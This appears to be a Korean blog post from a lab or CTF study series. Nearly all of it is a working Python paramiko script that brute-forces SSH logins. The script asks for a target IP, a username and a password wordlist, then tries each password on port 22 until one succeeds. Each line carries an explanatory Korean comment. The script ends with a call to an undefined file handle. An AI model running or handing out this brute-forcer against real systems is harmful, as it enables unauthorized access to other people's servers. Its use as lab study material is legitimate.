호그와트

ssh 자유자재로 공격하기

영웅*^%&$ 2022. 11. 9. 14:44
728x90

import paramiko  #ssh 활용

import sys  #os를 제어
import os  #역시나 os

 

target = str(input('Please enter target IP address: ')) #타겟 넣는 거고 내 기준 10.10 ....
username = str(input('Please enter username to bruteforce: ')) #ssh_id 넣는 거겠지 다른 페이지에서 추측 가능
password_file = str(input('Please enter location of the password file: ')) # wordlists2

 

def ssh_connect(password, code=0):   #ssh 연결하는 거네 패스워드를 넣고 있어
    ssh = paramiko.SSHClient()   #파라미코를 이용하여 SSHClient()메서드를 활용하여 연결
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #hot_key들을 받아 저장할 것인지 아닌지 판단

 

    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

 

with open(password_file, 'r') as file: #위에서 입력받았던 패스워드 파일 그대로 이용
    for line in file.readlines():  #패스워드 받아서 나누어서 이용
        password = line.strip()
       
        try:
            response = ssh_connect(password)

 

            if response == 0:
                 print('password found: '+ password)
                 exit(0)
            elif response == 1:   #맞는 패스워드인지 일일이 대입  
                print('no luck')
        except Exception as e:
            print(e)
        pass

 

input_file.close()
728x90

'호그와트' 카테고리의 다른 글

거북이가 연 파티  (0) 2022.11.09
던던댄스  (1) 2022.11.09
MBR 어셈블리어와 간단한 해석 03  (0) 2022.11.09
MBR 어셈블리어와 간단한 해석 02  (0) 2022.11.09
MBR 어셈블리어와 간단한 해석 01  (0) 2022.11.09